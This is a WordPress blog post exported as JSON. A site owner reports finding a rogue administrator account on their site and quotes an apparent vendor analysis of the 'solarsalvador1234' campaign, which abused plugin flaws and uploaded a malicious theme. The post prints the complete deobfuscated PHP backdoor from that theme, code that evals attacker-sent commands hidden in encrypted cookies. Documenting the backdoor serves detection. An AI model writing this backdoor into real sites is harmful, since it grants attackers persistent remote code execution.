{"id":4384,"date":"2026-07-19T13:29:17","date_gmt":"2026-07-19T13:29:17","guid":{"rendered":"https:\/\/ifx0.com\/?p=4384"},"modified":"2026-07-19T13:58:23","modified_gmt":"2026-07-19T13:58:23","slug":"solar-salvador-wordpress-plugin-aimed-to-hack-our-website","status":"publish","type":"post","link":"https:\/\/ifx0.com\/index.php\/2026\/07\/19\/solar-salvador-wordpress-plugin-aimed-to-hack-our-website\/","title":{"rendered":"solar salvador wordpress plugin aimed to hack our website"},"content":{"rendered":"\n

we have detected that the website shared various abnormal casino posts and we have removed it.<\/p>\n

after checking username list, we found\u00a0<\/p>\n\n\n\n
\u00a0<\/td>\nsolarsalvador1234@gmail.com<\/a><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

as administrador.<\/p>\n

”<\/p>\n

The email address\u00a0solarsalvador1234@gmail.com<\/code> has been previously associated with attacks against the Convert Plus plugin<\/a>, where a similar vulnerability allowed attackers to register a privileged user. Google searches for this address reveal a number of compromised WordPress sites showing an associated user profile.<\/p>\n

In addition to the Profile Builder and ThemeGrill Demo Importer vulnerabilities, the IP address associated with \u201csolarsalvador1234\u201d is also exploiting Duplicator\u2019s recent file download flaw. By downloading wp-config.php<\/code> files from vulnerable sites, they can use the stored credentials to access remote MySQL databases and compromise the site from there. In all three vulnerabilities, the end goal is the same: Administrative access to the victim\u2019s WordPress site.<\/p>\n

In the attacks we\u2019re currently tracking, we\u2019ve identified \u201csolarsalvador1234\u201d attempting to upload backdoors through the same method as \u201ctonyredball\u201d: the WordPress theme uploader. However, instead of uploading a single file as in our previous example, they upload a malicious archive named AdvanceImage5.zip<\/code>. This ZIP archive technically contains a valid WordPress theme, having copied the index.php<\/code> and\u00a0style.css<\/code> scripts from the Twenty Fifteen theme, required for WordPress to correctly store the extracted files. Other than those required files, the archive is purely malicious and contains backdoors intended to help the attacker maintain access long-term. The malicious theme\u00a0AdvanceImage5<\/code> has previously been associated with other attack campaigns, including those targeting last year\u2019s vulnerability in the WP Cost Estimation plugin<\/a>.<\/p>\n

\u00a0<\/p>\n

\n
\n\n\n\n
\n
1<\/div>\n
2<\/div>\n
3<\/div>\n
4<\/div>\n
5<\/div>\n
6<\/div>\n
7<\/div>\n
8<\/div>\n
9<\/div>\n
10<\/div>\n
11<\/div>\n
12<\/div>\n
13<\/div>\n
14<\/div>\n
15<\/div>\n
16<\/div>\n
17<\/div>\n
18<\/div>\n
19<\/div>\n
20<\/div>\n
21<\/div>\n
22<\/div>\n
23<\/div>\n
24<\/div>\n
25<\/div>\n
26<\/div>\n
27<\/div>\n
28<\/div>\n
29<\/div>\n
30<\/div>\n
31<\/div>\n
32<\/div>\n
33<\/div>\n
34<\/div>\n
35<\/div>\n
36<\/div>\n
37<\/div>\n
38<\/div>\n<\/td>\n
\n
\n
<?php<\/code><\/div>\n
@<\/code>ini_set<\/code>(<\/code>\"error_log\"<\/code>, NULL);<\/code><\/div>\n
@<\/code>ini_set<\/code>(<\/code>\"log_errors\"<\/code>, 0);<\/code><\/div>\n
@<\/code>ini_set<\/code>(<\/code>\"max_execution_time\"<\/code>, 0);<\/code><\/div>\n
@set_time_limit(0);<\/code><\/div>\n
$data<\/code> = NULL;<\/code><\/div>\n
$data_key<\/code> = NULL;<\/code><\/div>\n
$GLOBALS<\/code>[<\/code>\"auth\"<\/code>] = <\/code>\"4ef63abe-1abd-45a6-913d-6fb99657e24b\"<\/code>;<\/code><\/div>\n
global<\/code> $auth<\/code>;<\/code><\/div>\n
\u00a0<\/div>\n
function<\/code> sh_decrypt_phase(<\/code>$data<\/code>, <\/code>$key<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>$out_data<\/code> = <\/code>\"\"<\/code>;<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>for<\/code> (<\/code>$i<\/code> = 0; <\/code>$i<\/code> < <\/code>strlen<\/code>(<\/code>$data<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>$jplufmtpaem<\/code> = <\/code>\"i\"<\/code>;<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>for<\/code> (<\/code>$j<\/code> = 0;<\/code>$j<\/code> < <\/code>strlen<\/code>(<\/code>$key<\/code>) && <\/code>$i<\/code> < <\/code>strlen<\/code>(<\/code>$data<\/code>); <\/code>$j<\/code>++, <\/code>$i<\/code>++) { <\/code>$out_data<\/code> .= <\/code>chr<\/code>(ord(<\/code>$data<\/code>[<\/code>$i<\/code>]) ^ ord(<\/code>$key<\/code>[<\/code>$j<\/code>])); } } <\/code>return<\/code> $out_data<\/code>; } <\/code>function<\/code> sh_decrypt(<\/code>$data<\/code>, <\/code>$key<\/code>) { <\/code>global<\/code> $auth<\/code>; <\/code>return<\/code> sh_decrypt_phase(sh_decrypt_phase(<\/code>$data<\/code>, <\/code>$auth<\/code>), <\/code>$key<\/code>); } <\/code>foreach<\/code>(<\/code>$_COOKIE<\/code> as<\/code> $key<\/code> => <\/code>$value<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>$data<\/code> = <\/code>$value<\/code>;<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>$data_key<\/code> = <\/code>$key<\/code>;<\/code><\/div>\n
}<\/code><\/div>\n
\u00a0<\/div>\n
if<\/code>(!<\/code>$data<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>foreach<\/code>(<\/code>$_POST<\/code> as<\/code> $key<\/code> => <\/code>$value<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>$data<\/code> = <\/code>$value<\/code>;<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>$data_key<\/code> = <\/code>$key<\/code>;<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>}<\/code><\/div>\n
}<\/code><\/div>\n
$data<\/code> = @unserialize(sh_decrypt(@<\/code>base64_decode<\/code>( <\/code>$data<\/code> ) ,\u00a0 <\/code>$data_key<\/code> ));<\/code><\/div>\n
\u00a0<\/div>\n
if<\/code> (isset(<\/code>$data<\/code>[<\/code>\"ak\"<\/code>]) && <\/code>$auth<\/code> == <\/code>$data<\/code>[<\/code>\"ak\"<\/code>]) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>if<\/code> (<\/code>$data<\/code>[<\/code>\"a\"<\/code>] == <\/code>\"i\"<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>$i<\/code> = Array(<\/code>\"pv\"<\/code> => @phpversion() , <\/code>\"sv\"<\/code> => <\/code>\"1.0-1\"<\/code> , );<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>echo<\/code> @serialize(<\/code>$i<\/code>);<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>}<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>elseif<\/code> (<\/code>$data<\/code>[<\/code>\"a\"<\/code>] == <\/code>\"e\"<\/code>) {<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/code>eval<\/code>(<\/code>$data<\/code>[<\/code>\"d\"<\/code>]);<\/code><\/div>\n
\u00a0\u00a0\u00a0\u00a0<\/code>}<\/code><\/div>\n
}<\/code><\/div>\n
\u00a0<\/div>\n
?><\/code><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n

The code snippet above shows the deobfuscated contents of the campaign\u2019s primary backdoor, located in AdvanceImage5\/header.php<\/code> . This script features protections much like our earlier example, intended to prevent other attackers from abusing the script. Taking things a step further, an XOR cipher<\/a> is used to encrypt requests sent to the backdoor, presumably in an attempt to bypass detection by firewalls and security teams. Ultimately though, the behavior is the same for \u201csolarsalvador1234\u201d as it is for the backdoor used by \u201ctonyredball\u201d, an attacker can execute PHP scripts at will on the infected site.<\/p>\n

The activity associated with \u201csolarsalvador1234\u201d is linked to the IP address 77.71.115.52<\/code>. We mentioned this address in our earlier post about attacks against a recent Duplicator vulnerability<\/a>, noting that a number of otherwise-legitimate websites are hosted on the server. It\u2019s not uncommon for attacks to come from compromised webservers, as they offer attackers a layer of abstraction to hide their physical location from victims.<\/p>\n

Indicators of Compromise (IOCs)<\/h3>\n